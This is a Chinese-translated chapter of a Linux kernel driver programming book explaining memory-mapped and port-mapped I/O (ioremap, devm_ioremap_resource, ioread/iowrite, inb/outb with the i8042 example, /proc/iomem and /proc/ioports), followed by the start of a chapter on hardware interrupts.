因此,当我们将(GPIO 寄存器)I/O 内存映射到内核 VAS 时,我们得到一个 KVA,这样我们就可以使用它。有趣的是,ioremap() API 的返回值通常是内核 VAS 的vmalloc区域内的地址(关于这些细节,请参考伴随指南Linux Kernel Programming - 第七章,内存管理内部 - 基本知识)。这是因为ioremap通常分配并使用所需的虚拟内存来自内核的 vmalloc 区域(尽管并非总是如此;变体如ioremap_cache()可以使用 vmalloc 之外的区域)。在这里,假设返回值 – 我们的iobase地址 – 是0xbbed 8000(参考图 3.2:在这里有一个 2:2 GB 的 VM 分割,你可以看到iobase返回地址确实是内核的 vmalloc 区域内的 KVA)。

以下是一个概念性图表显示这一点:

图 3.2 – I/O 外围内存的物理到虚拟映射

将前面的图表(图 3.2)与我们在伴随指南Linux Kernel Programming中涵盖的树莓派内核 VAS 的详细图表进行比较,第七章内存管理内部 - 基本知识图 7.12),是一件有趣的事情。

这也是一个教育性的图表,展示了 Aarch64 或 ARM64 处理器上内存的物理/虚拟映射;你可以在官方 ARM 文档中查找到,即ARM Cortex-A Series Programmer's Guide for ARMv8-A,在The Memory Management Unit部分 – 查看Figure 12.2:developer.arm.com/documentation/den0024/a/The-Memory-Management-Unit

新一代 – devm_* 管理的 API

现在你了解了如何使用request_mem_region()和刚刚看到的ioremap*() API,猜猜看?事实上,这两个 API 现在被视为已弃用;作为现代驱动程序作者,你应该使用更好的资源管理devm_* API。(我们介绍了旧的 API 是出于几个原因,包括许多旧驱动程序仍然在使用它们,以及为了理解使用ioremap()资源管理 API 的基础知识和完整性。)

首先,让我们看看新的资源管理 ioremap,称为devm_ioremap(),位于lib/devres.c中:

/** 
 * devm_ioremap - Managed ioremap()
 * @dev: Generic device to remap IO address for
 * @offset: Resource address to map
 * @size: Size of map
 *
 * Managed ioremap(). Map is automatically unmapped on driver detach.
 */ 
void __iomem *devm_ioremap(struct device *dev, resource_size_t offset,
               resource_size_t size)

就像我们学习了关于非常常见的kmalloc/kzalloc API(参考伴随指南Linux Kernel Programming第八章模块作者的内核内存分配 - 第一部分),devm_kmalloc()devm_kzalloc() API 也简化了我们的生活,因为它们保证在设备分离或驱动程序移除时释放已分配的内存。类似地,使用devm_ioremap()意味着你不需要显式调用iounmap() API,因为内核的devres框架将在驱动程序分离时处理它!

再次强调,由于本书的主要重点不是编写设备驱动程序,我们将提及但不深入探讨使用现代Linux 设备模型LDM)与probe()remove()/disconnect()钩子的细节。其他专门讨论这一主题的文献可以在本章末尾的进一步阅读部分找到。

请注意,任何devm_*() API 的第一个参数都是指向struct device的指针(我们在第一章中向你展示了如何获取这个指针,编写一个简单的 misc 字符设备驱动程序,当我们介绍如何编写一个简单的misc驱动程序时)。

获取设备资源

devm_ioremap() API 的第二个参数(请参阅前面部分的签名)是resource_size_t offset。正式参数名offset有点误导-它实际上是用于重新映射到内核 VAS 的外围 I/O 内存区域的物理或总线地址(实际上,resource_size_t数据类型只是phys_addr_ttypedef,即物理地址)。

这部分和以下部分的覆盖对于 Linux 设备驱动程序作者非常重要,因为它介绍了一些关键思想(设备树DT)、平台和devres API 等),并包含了一些常用的策略。

但是,您将如何获得devm_ioremap() API 的第一个参数-总线或物理地址?确实是一个常见问题!当然,这是非常特定于设备的。话虽如此,起始总线或物理地址只是驱动程序作者可以-并且有时必须-指定的几个 I/O 资源中的一个。Linux 内核提供了一个强大的框架-I/O 资源管理框架-专门用于此目的,它允许您获取/设置硬件资源。

可用的资源有几种类型;包括设备 MMIO 范围、I/O 端口范围、中断请求IRQ)线、寄存器偏移、DMA 和总线值。

现在,为了使所有这些工作,必须基于每个设备来指定 I/O 资源。这样做有两种广泛的方式:

  • 传统方法:通过在内核源代码树中硬编码它们(I/O 资源),通常称为特定于板的文件。 (例如,对于流行的 ARM CPU,这些通常可以在arch/arm/mach->foo/...找到,其中foo是机器(mach)或平台/板名称。例如,Linux 3.10.6 中在这些特定于板的文件中定义的平台设备数量为 1,670;迁移到现代 DT 方法后,这个数字在 5.4.0 内核源代码树中减少到 885。)

  • 现代方法:通过以一种可以在操作系统启动时发现它们的方式放置它们(I/O 资源);这通常用于嵌入式系统,如 ARM-32、AArch64 和 PPC,通过描述板或平台的硬件拓扑(板上的所有硬件设备,如 SoC、CPU、外围设备、磁盘、闪存芯片、传感器芯片等)来完成,使用一种称为 DT 的硬件特定语言(类似于 VHDL)。设备树源DTS)文件位于内核源代码树下(对于 ARM,在arch/arm/boot/dts/),并在内核构建时编译(通过 DT 编译器;即dtc)成一种称为设备树块DTB)的二进制格式。DTB 通常由引导加载程序传递给内核。在早期引导期间,内核读取、展开和解释 DTB,根据需要创建平台(和其他)设备,然后将它们绑定到适当的驱动程序。

DT 对 x86[_64]系统不适用。最接近的等效物可能是 ACPI 表。另外,需要注意的是 DT 并不是 Linux 特定的技术;它被设计为与操作系统无关,通用的组织称为开放固件OF)。

正如我们之前提到的,使用这种现代模型,内核和/或设备驱动程序必须从 DTB 中获取资源信息(这些信息填充在include/linux/ioport.h:struct resource中)。如何做到?平台驱动程序通常通过platform_get_*() API 来实现这一点。

我们希望通过内核源中的Video For LinuxV4L)媒体控制器驱动程序的示例来澄清这一点。这个驱动程序是用于三星 Exynos 4 SoC 上的 SP5 TV 混频器的(用于一些 Galaxy S2 型号)驱动程序。甚至在V4L 驱动程序特定文档部分下有一些内核文档:www.kernel.org/doc/html/v5.4/media/v4l-drivers/fimc.html#the-samsung-s5p-exynos4-fimc-driver

以下代码可以在 drivers/gpu/drm/exynos/exynos_mixer.c 中找到。在这里,驱动程序利用 platform_get_resource() API 来获取 I/O 内存资源的值;也就是说,该外围芯片的 I/O 内存的起始物理地址:

    struct resource *res;
    [...]
    res = platform_get_resource(mixer_ctx-pdev, IORESOURCE_MEM, 0);
    if (res == NULL) {
        dev_err(dev, "get memory resource failed.\n");
        return -ENXIO;
    } 

    mixer_ctx->mixer_regs = devm_ioremap(dev, res-start,
 resource_size(res));
    if (mixer_ctx->mixer_regs == NULL) {
        dev_err(dev, "register mapping failed.\n");
        return -ENXIO;
    }
    [...]

在前面的代码片段中,驱动程序使用 platform_get_resource() API 来获取 IORESOURCE_MEM 类型资源(MMIO 内存!)的资源结构的指针。然后,它使用 devm_ioremap() API 将这个 MMIO 区域映射到内核 VAS(在前一节中有详细解释)。使用 devm 版本减轻了手动取消映射 I/O 内存的需要(或由于错误),从而减少了泄漏的机会!

使用 devm_ioremap_resource() API 一体化

作为驱动程序作者,您应该了解并使用这个有用的例程:devm_ioremap_resource()管理的 API 执行了请求的 I/O 内存区域的(有效性)检查,从内核请求它(内部通过 devm_request_mem_region() API),并重新映射它(内部通过 devm_ioremap())!这使得它成为像您这样的驱动程序作者的一个有用的包装器,它的使用非常普遍(在 5.4.0 内核代码库中,它被使用了超过 1400 次)。它的签名如下:

void __iomem *devm_ioremap_resource(struct device *dev, const struct resource *res);

以下是来自 drivers/char/hw_random/bcm2835-rng.c 的使用示例:

static int bcm2835_rng_probe(struct platform_device *pdev)
{
    [...]
    struct resource *r; 
    [...]
    r = platform_get_resource(pdev, IORESOURCE_MEM, 0); 

    /* map peripheral */
    priv->base = devm_ioremap_resource(dev, r); 
    if (IS_ERR(priv->base))
        return PTR_ERR(priv->base);
    [...]

再次,与现代 LDM 典型的情况一样,此代码作为驱动程序的 probe 例程的一部分执行。同样(这是非常常见的),首先使用 platform_get_resource() API,以获取并放置物理(或总线)地址的值在 resource 结构中,其地址作为第二个参数传递给 devm_ioremap_resource()。现在,使用 MMIO 的 I/O 内存已经被检查、请求和重新映射到内核 VAS,准备供驱动程序使用!

您可能已经遇到过 devm_request_and_ioremap() API,它通常用于类似的目的;2013 年,它被 devm_ioremap_resource() API 所取代。

最后,有几种 ioremap()的变体。[devm_]ioremap_nocache()和 ioremap_cache() API 就是这样的例子,它们影响 CPU 的缓存模式。

驱动程序作者最好仔细阅读内核源代码中这些例程的(特定于体系结构的)注释;例如,在 x86 上的 arch/x86/mm/ioremap.c:ioremap_nocache()。

现在,已经涵盖了如何获取资源信息并使用现代的 devm_*()管理 API 的重要部分,让我们学习如何解释与 MMIO 有关的/proc 的输出。

通过/proc/iomem 查找新映射

一旦您执行了映射(通过刚刚涵盖的[devm_]ioremap*()API 之一),它实际上可以通过只读伪文件/proc/iomem 看到。事实上,当您成功调用 request_mem_region()时,将在/proc/iomem 下生成一个新条目。查看它需要 root 访问权限(更正确地说,您可以以非 root 身份查看它,但只会看到所有地址为 0;这是出于安全目的)。因此,让我们在我们可靠的 x86_64 Ubuntu 客户 VM 上看一下这个。在以下输出中,由于空间不足和为了清晰起见,我们将显示部分截断:

$ sudo cat /proc/iomem 
[sudo] password for llkd: 
00000000-00000fff : Reserved
00001000-0009fbff : System RAM
0009fc00-0009ffff : Reserved
000a0000-000bffff : PCI Bus 0000:00
000c0000-000c7fff : Video ROM
000e2000-000ef3ff : Adapter ROM
000f0000-000fffff : Reserved
000f0000-000fffff : System ROM
00100000-3ffeffff : System RAM
18800000-194031d0 : Kernel code
194031d1-19e6a1ff : Kernel data
1a0e2000-1a33dfff : Kernel bss
3fff0000-3fffffff : ACPI Tables
40000000-fdffffff : PCI Bus 0000:00
[...]
fee00000-fee00fff : Local APIC
fee00000-fee00fff : Reserved
fffc0000-ffffffff : Reserved
$ 

真正重要的是要意识到左侧列中显示的地址范围不是虚拟的 - 它们是物理(或总线)地址。您可以看到系统(或平台)RAM 映射的位置。此外,在其中,您可以看到内核代码、数据和 bss 部分的确切位置(以物理地址表示)。实际上,我的procmap实用程序(github.com/kaiwan/procmap)正是使用这些信息(将物理地址转换为虚拟地址)。

为了对比一下,让我们在我们的树莓派 3 设备上运行相同的命令(B+型号搭载了 Broadcom BCM2837 SoC,带有四核 ARM Cortex A53)。同样,由于空间限制和为了清晰起见,我们将显示输出的部分内容:

pi@raspberrypi:~ $ sudo cat /proc/iomem
00000000-3b3fffff : System RAM
00008000-00bfffff : Kernel code
00d00000-00e74147 : Kernel data
3f006000-3f006fff : dwc_otg
3f007000-3f007eff : dma@7e007000
[...]
3f200000-3f2000b3 : gpio@7e200000
3f201000-3f2011ff : serial@7e201000
3f201000-3f2011ff : serial@7e201000
3f202000-3f2020ff : mmc@7e202000
[...]
pi@raspberrypi:~ $ 

请注意 GPIO 寄存器组显示为gpio@7e200000,正如我们在图 3.1中看到的那样,这是物理地址。您可能会想知道为什么 ARM 的格式看起来与 x86_64 的格式不同。左列现在表示什么?在这里,内核允许 BSP/平台团队决定如何构建和设置(通过/proc/iomem)用于显示的 I/O 内存区域,这是有道理的!他们最了解硬件平台。我们之前提到过这一点,但事实是 BCM2835 SoC(树莓派使用的 SoC)有多个 MMU。其中一个 MMU 是粗粒度 VC/ARM MMU,它将 ARM 总线地址转换为 ARM 物理地址,然后常规的 ARM MMU 将物理地址转换为虚拟地址。因此,在这里,ARM 总线地址start-end值显示在左列,ARM 物理地址作为后缀显示在@符号后面(gpio@xxx)。因此,对于被映射的前述 GPIO 寄存器,ARM 总线地址是3f200000-3f2000b3,ARM 物理地址是0x7e200000

让我们通过提到关于/proc/iomem伪文件的一些要点来完成本节:

  • /proc/iomem显示了内核和/或各种设备驱动程序当前正在映射的物理(和/或总线)地址。但是,确切的显示格式非常依赖于架构和设备。

  • 每当request_mem_region() API 运行时,都会为/proc/iomem生成一个条目。

  • 当相应的release_mem_region() API 运行时,条目将被移除。

  • 您可以在kernel/resource.c:ioresources_init()中找到相关的内核代码。

因此,现在您已经成功将 I/O 内存区域映射到内核 VAS,您将如何实际读取/写入这个 I/O 内存?MMIO 的 API 是什么?下一节将深入探讨这个话题。

MMIO - 执行实际 I/O

在使用 MMIO 方法时,外围 I/O 内存被映射到内核 VAS,因此对于驱动程序作者来说,它看起来就像普通的内存,就像 RAM 一样。我们需要小心:有一些注意事项和警告需要遵守。您不应该将该区域视为普通的 RAM 并直接通过通常的 C 例程访问它!

在接下来的几节中,我们将向您展示如何对通过 MMIO 方法重新映射的任何外围 I/O 区域执行 I/O(读取和写入)。我们将从执行小(1 到 8 字节)I/O 的常见情况开始,然后转向重复 I/O,再看看如何对 MMIO 区域进行memsetmemcpy

在 MMIO 内存区域上执行 1 到 8 字节的读写

那么,您究竟如何通过 MMIO 方法访问和执行外围 I/O 内存上的 I/O(读取和写入)?内核提供了允许您读取和写入芯片内存的 API。通过使用这些 API(或宏/内联函数),您可以以四种可能的位宽进行 I/O,即 8 位、16 位、32 位,在 64 位系统上是 64 位。

  • MMIO 读取:ioread8()ioread16()ioread32()ioread64()

  • MMIO 写入:iowrite8()iowrite16()iowrite32()iowrite64()

I/O 读取例程的签名如下:

#include <linux/io.h>
u8 ioread8(const volatile void __iomem *addr);
u16 ioread16(const volatile void __iomem *addr);
u32 ioread32(const volatile void __iomem *addr);
#ifdef CONFIG_64BIT
u64 ioread64(const volatile void __iomem *addr);
#endif

ioreadN() API 的单个参数是必须从中读取的 I/O 内存位置的地址。通常,它是从我们看到的*ioremap*() API 之一获得的返回值,再加上一个偏移量(偏移量可以是0)。在基本地址(__iomem)上添加偏移量是一件非常常见的事情,因为硬件设计者故意以这种方式布置寄存器,以便软件可以轻松地按顺序访问,作为数组(或寄存器组)!驱动程序作者利用了这一点。当然,这里没有捷径,因为你不能假设任何东西 - 你必须仔细研究你为其编写驱动程序的特定 I/O 外设的数据表;魔鬼就在细节中!

u8返回类型是指定无符号 8 位数据类型的typedef(相反,s前缀表示有符号数据类型)。其他数据类型也是一样的(有s8u8s16u16s32u32s64u64,都非常有用且明确)。

I/O 写入例程的签名如下:

#include <linux/io.h>
void iowrite8(u8 value, volatile void __iomem *addr);
void iowrite16(u16 value, volatile void __iomem *addr);
void iowrite32(u32 value, volatile void __iomem *addr);
#ifdef CONFIG_64BIT
void u64 iowrite64(u64 value, const volatile void __iomem *addr);
#endif

iowriteN() API 的第一个参数是要写入的值(适当位宽的值),而第二个参数指定要写入的位置;也就是 MMIO 地址(同样,这是通过*ioremap*() API 之一获得的)。请注意,这里没有返回值。这是因为这些 I/O 例程实际上是在硬件上工作的,所以它们不会失败:它们总是成功的!当然,你的驱动程序可能仍然无法工作,但这可能是由于许多原因(资源不可用,错误映射,使用错误的偏移量,时间或同步问题等)。但是,I/O 例程仍然会工作。

驱动程序作者常用的一个常见测试是,他们将一个值n写入一个寄存器并读取它;你应该得到相同的值(n)。(当然,这只有在寄存器/硬件不会立即改变或消耗它的情况下才成立。)

在 MMIO 内存区域上执行重复 I/O

ioread[8|16|32|64]()iowrite[8|16|32|64]() API 只能处理 1 到 8 字节的小数据量。但是如果我们想要读取或写入几十或几百字节怎么办?你总是可以在循环中编码这些 API。但是,内核预期到这一点,提供了更有效的辅助例程,内部使用紧凑的汇编循环。这些被称为 MMIO API 的重复版本:

  • 用于读取的 API 是ioread[8|16|32|64]_rep()

  • 用于写入的 API 是iowrite[8|16|32|64]_rep()

让我们看看其中一个的签名;也就是,8 位重复读取的签名。其余读取完全类似。

#include <linux/io.h>

void ioread8_rep(const volatile void __iomem *addr, void *buffer, unsigned int count);

这将从源地址addr(一个 MMIO 位置)读取count字节到由buffer指定的(内核空间)目标缓冲区。类似地,以下是重复 8 位写入的签名:

void iowrite8_rep(volatile void __iomem *addr, const void *buffer, unsigned int count);

这将从源(内核空间)缓冲区buffer写入count字节到目标地址addr(一个 MMIO 位置)。

除了这些 API 之外,内核还有一些变体的辅助程序;例如,对于字节顺序,它提供了ioread32be(),其中be是大端。

在 MMIO 内存区域上进行设置和复制

内核还为使用 MMIO 时的memset()memcpy()操作提供了辅助例程。请注意,你必须使用以下辅助程序:

#include linux/io.h

void memset_io(volatile void __iomem *addr, int value, size_t size);

这将设置从起始地址addr(一个 MMIO 位置)开始的 I/O 内存为size字节的value参数指定的值。

为了复制内存,有两个辅助例程可用,取决于内存传输的方向:

void memcpy_fromio(void *buffer, const volatile void __iomem *addr, size_t size);
void memcpy_toio(volatile void __iomem *addr, const void *buffer, size_t size);

第一个例程将内存从 MMIO 位置addr复制到(内核空间)目标缓冲区(buffer)的size字节;第二个例程将内存从(内核空间)源缓冲区(buffer)复制到目标 MMIO 位置addrsize字节。同样,对于所有这些辅助程序,请注意没有返回值;它们总是成功的。另外,对于所有前面的例程,请确保包括linux/io.h头文件。

最初,通常包括asm/io.h头文件。但是现在,linux/io.h头文件是其上的一个抽象层,并在内部包括asm/io.h文件。

需要注意的是,内核具有用于执行 MMIO 的较旧的辅助例程;这些是read[b|w|l|q]()write[b|w|l|q]() API 辅助程序。在这里,附加到读/写的字母指定了位宽;这实际上非常简单:

  • b:字节宽(8 位)

  • w:字宽(16 位)

  • l:长宽(32 位)

  • q:四字宽(64 位);仅适用于 64 位机器

请注意,对于现代内核,不希望您使用这些例程,而是使用前面提到的ioread/iowrite[8|16|32|64]() API 辅助程序。我们在这里提到它们的唯一原因是仍然有几个驱动程序使用这些较旧的辅助例程。语法和语义与新的辅助程序完全类似,因此如果需要,我会留给您自己查找它们。

让我们通过总结(不要太关注我们到目前为止所涵盖的所有细节)驱动程序在执行 MMIO 时遵循的典型顺序来结束本节:

  1. 通过request_mem_region()从内核请求内存区域(在/proc/iomem中生成一个条目)。

  2. 通过[devm_]ioremap[_resource|[no]cache()将外围 I/O 内存重新映射到内核 VAS;现代驱动程序通常使用managed devm_ioremap()(或devm_ioremap_resource() API)来执行此操作

  3. 通过一个或多个现代辅助例程执行实际 I/O:

  • ioread[8|16|32|64]()

  • iowrite[8|16|32|64]()

  • memset_io() / memcpy_fromio() / memcpy_toio()

  • (较旧的辅助例程:read[b|w|l|q]()write[b|w|l|q]()

  1. 完成后,取消映射 MMIO 区域;也就是iounmap()。只有在需要时才会执行此操作(使用managed devm_ioremap*() API 时,这是不必要的)。

  2. 通过release_mem_region()将 MMIO 区域释放回内核(清除/proc/iomem中的条目)。

由于 MMIO 是与外围芯片通信的强大手段,您可能会想象所有驱动程序(包括所谓的总线驱动程序)都设计和编写以使用它(和/或端口 I/O),但事实并非如此。这是由于性能问题。毕竟,对外围设备执行 MMIO(或 PMIO)需要处理器的持续交互和关注。在许多设备类别上(想想在智能手机或平板电脑上流式传输高清媒体内容!),这只是太慢了。那么,与外围设备通信的高性能方式是什么?答案是 DMA,这是本书范围之外的一个话题(请查看进一步阅读*部分,了解有关 DMA 的有用驱动程序书籍和资源的建议)。那么,MMIO 用在哪里?实际上,它用于许多较低速的外围设备,包括状态和控制操作。

虽然 MMIO 是对外围设备执行 I/O 的最常见方式,端口 I/O 是另一种方式。因此,让我们学习如何使用它。

理解和使用端口映射 I/O

正如我们在“解决方案-通过 I/O 内存或 I/O 端口进行映射”部分中早些时候提到的,除了 MMIO,还有另一种在外围设备内存上执行 I/O 的方法,称为 PMIO,或者简称为 PIO。它的工作方式与 MMIO 完全不同。在这里,CPU 具有不同的汇编(和相应的机器)指令,使其能够直接读取和写入 I/O 内存位置。不仅如此,而且这个 I/O 内存范围是一个完全独立的地址空间,与 RAM 完全不同。这些内存位置被称为端口。不要混淆这里使用的术语“端口”与网络技术中使用的相同术语;把这个端口看作是一个硬件寄存器,这更接近其含义。(虽然通常是 8 位,外围芯片寄存器实际上可以是三种位宽:8、16 或 32 位。)

事实上,大多数现代处理器,即使支持具有独立 I/O 端口地址空间的 PMIO,也倾向于主要使用 MMIO 方法进行外围 I/O 映射。主流处理器系列中支持 PMIO 并经常使用它的是 x86。在这些处理器上,如其物理内存映射中所记录的,有一段地址位置专门用于此目的。这被称为端口地址范围,通常在 x86 上跨越从物理地址0x00xffff的范围;也就是说,长度为 64 千字节。这个区域包含哪些寄存器?通常在 x86 上,有各种 I/O 外围设备的寄存器(通常是数据/状态/控制)。一些常见的包括 i8042 键盘/鼠标控制器芯片,DMA 控制器(DMAC),定时器,RTC 等。我们将在“通过/proc/ioports 查找端口”部分中更详细地讨论这些。

PMIO - 执行实际 I/O

端口 I/O 与我们在 MMIO 中看到的所有热闹相比要简单得多。这是因为处理器提供了机器指令来直接执行工作。当然,就像 MMIO 一样,你需要礼貌地请求内核允许访问 PIO 区域(我们在“请求内核的许可”部分中介绍了这一点)。用于执行此操作的 API 是request_region()release_region()(它们的参数与它们的 MMIO 对应 API 完全相同)。

那么,你如何访问和执行 I/O(读取和写入)I/O 端口?同样,内核提供了 API 包装器,用于对底层的汇编/机器指令进行读取和写入。使用它们,你可以以三种可能的位宽进行 I/O 读取和写入;即 8 位、16 位和 32 位。

  • PMIO 读取:inb()inw()inl()

  • PMIO 写入:outb()outw()outl()

相当直观地,b表示字节宽(8 位),w表示字宽(16 位),l表示长宽(32 位)。

端口 I/O 读例程的签名如下:

#include <linux/io.h>
u8 inb(unsigned long addr);
u16 inw(unsigned long addr);
u32 inl(unsigned long addr);

in[b|w|l]()包装器的单个参数是将要从中读取的端口 I/O 内存位置的端口地址。我们在“获取设备资源”部分中介绍了这一点(对于像你这样的驱动程序开发人员来说,这是一个非常关键的部分!)。端口也是一种资源,这意味着它可以以通常的方式获得:在现代嵌入式系统上,这是通过解析设备树(或 ACPI 表)来完成的;旧的方法是在特定于板的源文件中硬编码这些值。实际上,对于许多常见的外围设备,端口号或端口地址范围是众所周知的,这意味着它可以被硬编码到驱动程序中(这经常发生在驱动程序的头文件中)。再次强调,最好不要简单地假设任何事情,确保你参考所涉及外围设备的数据表。

现在,让我们回到 API。返回值是一个无符号整数(位宽取决于所使用的辅助例程)。它是在发出读取时端口(寄存器)上的当前值。

端口 I/O 写例程的签名如下:

#include <linux/io.h>
void outb(u8 value, unsigned long addr);
void outw(u16 value, unsigned long addr);
void outl(u32 value, unsigned long addr);

第一个参数是要写入硬件(端口)的值,而第二个参数是要写入的 I/O 端口内存的端口地址。与 MMIO 一样,这些助手 I/O 例程总是成功的,没有失败的问题。至少在 x86 上,对 I/O 端口的写入保证在执行下一条指令之前完成。

PIO 示例 - i8042

为了帮助澄清事情,让我们看一下 i8042 键盘和鼠标控制器的设备驱动程序的一些代码片段,尽管现在被认为相当古老,但在 x86 系统上仍然非常常见。

您可以在这里找到 8042 控制器的基本原理图:wiki.osdev.org/File:Ps2-kbc.png

有趣的部分(至少对我们来说)在驱动程序的头文件中:

// drivers/input/serio/i8042-io.h
/*
 * Register numbers.
 */
#define I8042_COMMAND_REG   0x64
#define I8042_STATUS_REG    0x64
#define I8042_DATA_REG      0x60

在前面的代码片段中,我们可以看到这个驱动程序使用的 I/O 端口或硬件寄存器。为什么状态和数据寄存器解析为相同的 I/O 端口(0x64)地址?方向很重要:读取它使 I/O 端口0x64的行为像状态寄存器,而写入它使其行为像命令寄存器!此外,数据表将向您展示这些是 8 位寄存器;因此,在这里,实际的 I/O 是通过inb()outb()助手执行的。驱动程序在小的内联例程中进一步抽象了这些:

[...]
static inline int i8042_read_data(void)
{
    return inb(I8042_DATA_REG);
}
static inline int i8042_read_status(void)
{
    return inb(I8042_STATUS_REG);
}
static inline void i8042_write_data(int val)
{
    outb(val, I8042_DATA_REG);
}
static inline void i8042_write_command(int val)
{
    outb(val, I8042_COMMAND_REG);
}

当然,事实是这个驱动程序做的事情远不止我们在这里展示的,包括处理硬件中断,初始化和处理多个端口,阻塞读写,刷新缓冲区,在内核崩溃时闪烁键盘 LED 等等。我们不会在这里进一步探讨这个问题。

通过/proc/ioports 查找端口

内核通过/proc/ioports伪文件提供了对端口地址空间的视图。让我们在我们的 x86_64 虚拟机上检查一下(再次,我们只显示部分输出):

$ sudo cat /proc/ioports 
[sudo] password for llkd: 
0000-0cf7 : PCI Bus 0000:00
  0000-001f : dma1
  0020-0021 : pic1
  0040-0043 : timer0
  0050-0053 : timer1
  0060-0060 : keyboard
 0064-0064 : keyboard
  0070-0071 : rtc_cmos
  0070-0071 : rtc0
[...]
  d270-d27f : 0000:00:0d.0
  d270-d27f : ahci
$ 

我们已经用粗体标出了键盘端口。请注意端口号与我们之前看到的 i8042 驱动程序代码匹配。有趣的是,在树莓派上运行相同的命令什么也没有;这是因为没有驱动程序或子系统使用任何 I/O 端口。与 MMIO 类似,当request_region() API 运行时,/proc/ioports中会生成一个条目,相反,当相应的release_region() API 运行时,它会被删除。

现在,让我们快速提一下与端口 I/O 相关的一些事情。

端口 I/O - 还有一些要注意的地方

PIO 还有一些更多或更少的杂项要点,作为驱动程序作者,您应该注意:

  • 就像 MMIO 提供了重复的 I/O 例程(回想一下ioread|iowrite[8|16|32|64]_rep()助手),PMIO(或 PIO)为那些希望多次读取或写入相同 I/O 端口的情况提供了类似的重复功能。这些是常规端口助手例程的所谓字符串版本;它们的名称中有一个s来提醒你这一点。内核源代码中包含了一个简洁总结这一点的注释:
// include/asm-generic/io.h/*
 * {in,out}s{b,w,l}{,_p}() are variants of the above that repeatedly access a
 * single I/O port multiple times.
 */
*we don't show the complete code below, just the 'signature' as such* 
void insb(unsigned long addr, void *buffer, unsigned int count);
void insw(unsigned long addr, void *buffer, unsigned int count);
void insl(unsigned long addr, void *buffer, unsigned int count);

void outsb(unsigned long addr, const void *buffer, unsigned int count);
void outsw(unsigned long addr, const void *buffer, unsigned int count);
void outsl(unsigned long addr, const void *buffer, unsigned int count);

因此,例如,insw()助手例程将从起始地址addr(即 I/O 端口地址)读取count次(也就是count2*字节,因为每次都是 2 字节或 16 位读取)到目标缓冲区buffer的连续位置(readsw()内联函数是内部实现)。

类似地,outsw()助手例程写入了count次(也就是count2*字节,因为每次都是 2 字节或 16 位读取),从buffer的源缓冲区到address的 I/O 端口(writesw()内联函数是内部实现)。

  • 接下来,内核似乎提供了与in|out[b|w|l]()等价的辅助 API;也就是in|out[b|w|l]_p()。在这里,后缀_p意味着 I/O 中引入了暂停或延迟。最初,这是为了慢速外围设备;然而,现在似乎已经成为了向后兼容的无关紧要的问题:这些“延迟 I/O”例程只是对常规例程的简单包装(实际上没有延迟)。

  • 还有用户空间等效的 PIO API(您可以使用其中一个来编写用户空间驱动程序)。当然,成功在用户模式下发出in|out[b|w|l]() API 需要发出进程成功调用iopl(2)/ioperm(2)系统调用,这又需要 root 访问权限(或者您需要设置CAP_SYS_RAWIO能力位;这也可以出于安全目的而做)。

有了这些,我们已经结束了对端口 I/O 的讨论,也结束了本章。

总结

在本章中,您了解了为什么我们不能直接使用外围 I/O 内存。接下来,我们介绍了如何在 Linux 设备驱动程序框架内访问和执行 I/O(读取和写入)硬件(或外围)I/O 内存。您了解到有两种广泛的方法可以做到这一点:通过 MMIO(常见方法)和 P(M)IO。

我们了解到像 x86 这样的系统通常同时采用这两种方法,因为这就是外围设备的设计方式。MMIO 和/或 PMIO 访问是任何驱动程序的关键任务 - 毕竟,这就是我们与硬件交流和控制的方式!不仅如此,而且许多底层总线驱动程序(用于 Linux 上的各种总线,如 I2C、USB、SPI、PCI 等)在内部使用 MMIO/PMIO 执行外围 I/O。因此,完成本章的工作很出色!

在下一章中,我们将看到另一个重要的与硬件相关的领域:理解、处理和使用硬件中断。

问题

假设您已经将一个 8 位寄存器组映射到外围芯片(通过驱动程序的xxx_probe()方法中的devm_ioremap_resource() API;假设成功)。现在,您想要读取第三个 8 位寄存器中的当前内容。以下是一些(伪)代码,您可以使用它来做到这一点。研究它并找出其中的错误。

char val;
void __iomem *base = devm_ioremap_resource(dev, r);
[...]
val = ioread8(base+3);

你能提出一个解决方案吗?

此练习的可能解决方案可以在github.com/PacktPublishing/Linux-Kernel-Programming-Part-2/tree/main/solutions_to_assgn找到。

进一步阅读

第四章:处理硬件中断

在本章中,我们将重点关注编写设备驱动程序的一个非常关键的方面:硬件中断是什么,更重要的是,作为驱动程序作者,您如何处理它们。事实上,大部分(如果不是全部)您有兴趣为其编写设备驱动程序的外围设备通过断言硬件中断来指示它们需要立即采取行动。这实际上是一个电信号,最终会提醒处理器的控制单元(通常,这个警报必须将控制重定向到受影响的外围设备的中断处理程序,因为它需要立即处理)。

要处理这些类型的中断,您需要了解它们的工作原理的一些基本知识;也就是说,操作系统如何处理它们,以及作为驱动程序作者的您应该如何与它们一起工作。Linux 增加了一层复杂性,因为作为一个基于 VM 的丰富操作系统,它在处理中断时需要和使用一些抽象。因此,您将首先学习关于如何处理硬件中断的(非常)基本工作流程。然后,我们将看看像您这样的驱动程序作者主要感兴趣的主题:如何精确分配 IRQ 并编写处理程序代码本身 - 有一些非常具体的要求和禁忌!然后,我们将介绍和使用较新的线程中断模型的动机,启用/禁用特定的 IRQ,通过 proc 查看有关 IRQ 线的信息,以及上半部分和下半部分的用途以及如何使用它们。我们将通过回答一些关于中断处理的常见问题来结束本章。

在本章中,我们将涵盖以下主题:

  • 硬件中断以及内核如何处理它们

  • 分配硬件 IRQ

  • 实现中断处理程序

  • 使用线程中断模型

  • 启用和禁用 IRQ

  • 查看所有分配的中断(IRQ)线

  • 理解和使用上半部分和下半部分

  • 回答一些剩下的常见问题

让我们开始吧!

技术要求

本章假设您已经阅读了前言部分为了充分利用本书,并且已经适当准备了运行 Ubuntu 18.04 LTS(或更高版本稳定发布版)的虚拟机,并安装了所有必需的软件包。如果没有,我强烈建议您首先这样做。为了充分利用本书,我强烈建议您首先设置工作环境,包括克隆本书的 GitHub 存储库以获取代码,并以实际操作的方式进行工作。存储库可以在这里找到:github.com/PacktPublishing/Linux-Kernel-Programming-Part-2

硬件中断以及内核如何处理它们

许多,如果不是大多数,外围控制器使用硬件中断来通知操作系统或设备驱动程序需要一些(通常是紧急的)操作。典型的例子包括网络适配器(NIC)、块设备(磁盘)、USB 设备、AV 设备,人机接口设备(HID)如键盘、鼠标、触摸屏和视频屏幕,时钟/定时器芯片,DMA 控制器等。硬件中断背后的主要思想是效率。与其不断轮询芯片(在备电设备上,这可能导致电池迅速耗尽!),中断是一种只在需要时才运行低级软件的手段。

